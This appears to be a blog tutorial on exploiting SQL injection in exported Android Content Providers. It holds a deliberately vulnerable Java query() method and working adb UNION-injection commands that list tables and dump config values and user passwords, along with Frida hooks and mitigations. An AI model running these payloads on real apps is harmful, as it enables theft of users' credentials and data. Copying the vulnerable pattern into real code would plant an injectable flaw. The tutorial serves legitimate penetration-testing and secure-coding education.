Android App Penetration Testing & Frida Hooks

From Zero to Shell: Leveraging Content Provider SQLi for Android Remote Code Execution

Google AdSense Native Placement - Horizontal Top-Post banner

Introduction to Android Content Providers and SQL Injection

Android’s Content Providers (CPs) are a fundamental component for managing and sharing structured data between applications. They act as an abstraction layer, allowing apps to access data from various sources (databases, files, network, etc.) in a consistent manner, often resembling a database table. While offering flexibility, improperly implemented Content Providers can introduce severe security vulnerabilities, most notably SQL Injection (SQLi).

SQL Injection, a classic web vulnerability, finds its counterpart in Android when a Content Provider constructs SQL queries using untrusted input without adequate sanitization. An attacker can inject malicious SQL clauses into parameters like `selection` or `sortOrder` to manipulate the query’s intent, leading to unauthorized data access, modification, or even more critical impacts like privilege escalation or, in rare cases, remote code execution (RCE).

Identifying Vulnerable Content Providers

The first step in exploiting Content Provider SQLi is to identify exposed and potentially vulnerable providers. This involves a combination of static and dynamic analysis.

Static Analysis: AndroidManifest.xml

Content Providers are declared in the `AndroidManifest.xml` file. Look for “ tags, especially those with `android:exported=”true”` and without sufficient `android:readPermission` or `android:writePermission`. An exported provider can be accessed by any other application on the device.

<manifest xmlns:android="http://schemas.android.com/apk/res/android">
    ...
    <application ...>
        <provider
            android:name=".VulnerableProvider"
            android:authorities="com.example.app.provider"
            android:exported="true" /
    </application>
</manifest>

Dynamic Analysis: Enumeration with ADB and Drozer

Once you have a target package, you can use `adb` to list its providers or specialized tools like Drozer for more targeted enumeration.

Listing Providers with ADB

adb shell dumpsys package providers com.example.app

This command will output details about all registered content providers for the specified package, including their authorities and URIs.

Enumerating URIs with Drozer

Drozer’s `app.provider.finduri` module is excellent for discovering accessible URIs by querying known patterns.

dz> run app.provider.finduri -a com.example.app

Understanding the SQL Injection Vector

The core of Content Provider interaction is the `query()` method, defined as:

public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder)

The `selection` and `sortOrder` parameters are particularly susceptible to SQL injection if they are directly concatenated into the SQL query without proper sanitization or parameterization. `selectionArgs` are generally safe as they are treated as literal values.

Consider a vulnerable implementation within a Content Provider:

@Override
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
    SQLiteQueryBuilder queryBuilder = new SQLiteQueryBuilder();
    queryBuilder.setTables(TABLE_NAME);

    // VULNERABLE: Direct use of selection and sortOrder without proper validation
    String sql = "SELECT " + (projection != null ? TextUtils.join(",", projection) : "*") +
                 " FROM " + TABLE_NAME +
                 (selection != null ? " WHERE " + selection : "") +
                 (sortOrder != null ? " ORDER BY " + sortOrder : "");

    // ... Database execution ...
    return db.rawQuery(sql, selectionArgs);
}

In this example, both `selection` and `sortOrder` are concatenated directly into the SQL string, making them prime targets for injection.

Practical Data Exfiltration via SQLi

Data exfiltration is the most common and demonstrable impact of Content Provider SQLi. We can leverage standard SQL injection techniques, such as UNION-based attacks, to extract data from other tables within the database.

Let’s assume we’ve identified a vulnerable Content Provider with the URI `content://com.example.app.provider/users`.

1. Basic Injection Test

First, test for injectability. A simple `)` or `’` can often reveal an error, indicating the query structure.

adb shell content query --uri content://com.example.app.provider/users --selection "1=1))"

If this returns an SQL error, the provider is likely vulnerable.

2. Determining Table Names and Schema

SQLite databases contain a special table called `sqlite_master` which stores schema information (table names, column names, SQL to create them). We can use a UNION attack to query `sqlite_master`.

adb shell content query --uri content://com.example.app.provider/users --projection "_id FROM users WHERE 1=0 UNION SELECT name FROM sqlite_master WHERE type='table' --"

Explanation:

  • `–projection “_id FROM users WHERE 1=0 …”`: We craft a malicious `projection`. We initially select a dummy column `_id` from `users` where `1=0` to ensure no rows are returned from the original query, allowing the UNION part to dominate.
  • `UNION SELECT name FROM sqlite_master WHERE type=’table’`: This union selects the `name` column (which holds table names) from `sqlite_master`.
  • `–`: This is a SQL comment, effectively nullifying any remaining part of the original query after our injection.

The output might reveal tables like `users`, `config`, `messages`, etc.

3. Extracting Column Names

Once we have a table name, say `config`, we can extract its column names by querying `sqlite_master` for the SQL used to create that table.

adb shell content query --uri content://com.example.app.provider/users --projection "_id FROM users WHERE 1=0 UNION SELECT sql FROM sqlite_master WHERE type='table' AND name='config' --"

This will show the `CREATE TABLE` statement, revealing column names and types.

4. Extracting Sensitive Data

With table and column names, we can now extract actual data. Let’s assume the `config` table has columns `key` and `value`.

adb shell content query --uri content://com.example.app.provider/users --projection "_id FROM users WHERE 1=0 UNION SELECT key || ':' || value FROM config --"

This query concatenates `key` and `value` from the `config` table, providing a convenient way to dump all configuration entries.

For a `users` table with `username` and `password`:

adb shell content query --uri content://com.example.app.provider/users --projection "username FROM users WHERE 1=0 UNION SELECT password FROM users --"

This would dump all passwords. If you need both username and password:

adb shell content query --uri content://com.example.app.provider/users --projection "username FROM users WHERE 1=0 UNION SELECT username || ':' || password FROM users --"

The Elusive RCE: Why it’s Hard and What to Look For

Direct Remote Code Execution via Content Provider SQLi on Android is exceptionally rare and challenging to achieve, primarily due to several factors:

  1. SQLite Limitations: SQLite itself does not have built-in support for direct shell command execution like some full-featured relational databases (e.g., MySQL’s `UDF` or SQL Server’s `xp_cmdshell`).
  2. Android Sandbox: Even if a malicious SQL statement could write to the filesystem, Android’s stringent app sandboxing prevents an app from writing to arbitrary locations or executing files outside its designated data directory, especially if those files are not marked executable.
  3. Content Provider Design: Content Providers typically use `SQLiteDatabase.query()` or `SQLiteDatabase.insert()` methods, which are designed for data manipulation, not schema alteration or executing arbitrary SQL functions like `ATTACH DATABASE` or `DETACH DATABASE` that could potentially be abused for file operations. Direct `execSQL()` is rarely exposed via query parameters.

However, an indirect path to RCE *might* exist in extremely specific scenarios:

  • Arbitrary File Write (Extreme Edge Case): If the Content Provider’s underlying database interaction uses an outdated SQLite version or a custom wrapper that *does* expose `ATTACH DATABASE` or similar file-writing capabilities through an unsanitized parameter, an attacker *might* be able to write arbitrary content to files within the app’s data directory. If this written file is later executed by the application (e.g., an overwritten configuration script, a malicious shared library loaded dynamically), it could lead to RCE. This is highly improbable and requires a confluence of multiple severe vulnerabilities.
  • Privilege Escalation Leading to RCE: More realistically, SQLi can lead to data manipulation that enables privilege escalation within the app or even on the device if sensitive system components rely on the compromised data. For example, altering user credentials to gain admin access within the app, or manipulating security policies if the app manages them. This escalated privilege *might* then be used to achieve RCE through other means.

For most practical Android penetration tests, Content Provider SQLi will yield data exfiltration or data modification, which are severe enough to warrant immediate attention.

Frida for Deeper Insight and Exploitation

Frida is an invaluable dynamic instrumentation toolkit for Android penetration testing. It can be used to hook Content Provider methods and SQLite database operations, providing real-time visibility into how queries are constructed and executed.

Hooking ContentResolver.query()

You can hook `android.content.ContentResolver.query` to see the exact arguments passed to the Content Provider from other applications or even within the same application.

Java.perform(function() {
    var ContentResolver = Java.use('android.content.ContentResolver');
    ContentResolver.query.overload('android.net.Uri', '[Ljava.lang.String;', 'java.lang.String', '[Ljava.lang.String;', 'java.lang.String').implementation = function(uri, projection, selection, selectionArgs, sortOrder) {
        console.log("n[+] ContentResolver.query called:");
        console.log("    URI: " + uri);
        console.log("    Projection: " + JSON.stringify(projection));
        console.log("    Selection: " + selection);
        console.log("    SelectionArgs: " + JSON.stringify(selectionArgs));
        console.log("    SortOrder: " + sortOrder);
        var result = this.query(uri, projection, selection, selectionArgs, sortOrder);
        return result;
    };
});

Hooking SQLiteDatabase.rawQuery()

To see the actual SQL query being executed against the database, you can hook `android.database.sqlite.SQLiteDatabase.rawQuery` or `execSQL`.

Java.perform(function() {
    var SQLiteDatabase = Java.use('android.database.sqlite.SQLiteDatabase');
    SQLiteDatabase.rawQuery.overload('java.lang.String', '[Ljava.lang.String;').implementation = function(sql, selectionArgs) {
        console.log("n[+] SQLiteDatabase.rawQuery called:");
        console.log("    SQL: " + sql);
        console.log("    SelectionArgs: " + JSON.stringify(selectionArgs));
        var result = this.rawQuery(sql, selectionArgs);
        return result;
    };
});

These Frida scripts, when injected into the target application, can provide invaluable runtime insights, helping to confirm injection points and understand the full scope of the vulnerability.

Mitigation Strategies

Preventing Content Provider SQL injection relies on secure coding practices:

  • Parameterized Queries: Always use `selectionArgs` for user-supplied input in the `selection` clause. The SQLite API handles proper escaping of these arguments. Avoid concatenating raw user input directly into SQL strings for `selection` or `sortOrder`.
  • Input Validation: Implement strict validation and sanitization for any user-supplied input, especially for `sortOrder` which cannot be fully parameterized. Use whitelists for allowed column names and sort orders.
  • Limit Exported Providers: Set `android:exported=”false”` for Content Providers that are not intended to be accessed by other applications. If inter-app communication is necessary, implement robust permission checks (`android:readPermission`, `android:writePermission`).
  • Principle of Least Privilege: Grant Content Providers only the necessary permissions and expose only the data they absolutely need to share.

Conclusion

Content Provider SQL injection remains a critical vulnerability in Android applications, often leading to severe data breaches. While direct RCE is an aspirational outcome that is rarely achieved, the ability to exfiltrate or modify sensitive application data poses a significant risk. Penetration testers must diligently identify and test Content Providers, and developers must prioritize secure coding practices, focusing on parameterized queries and stringent input validation, to safeguard user data and application integrity.

Android Mobile Specs & Compare Directory

Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!

Compare Devices Specs →
Google AdSense Inline Placement - Content Footer banner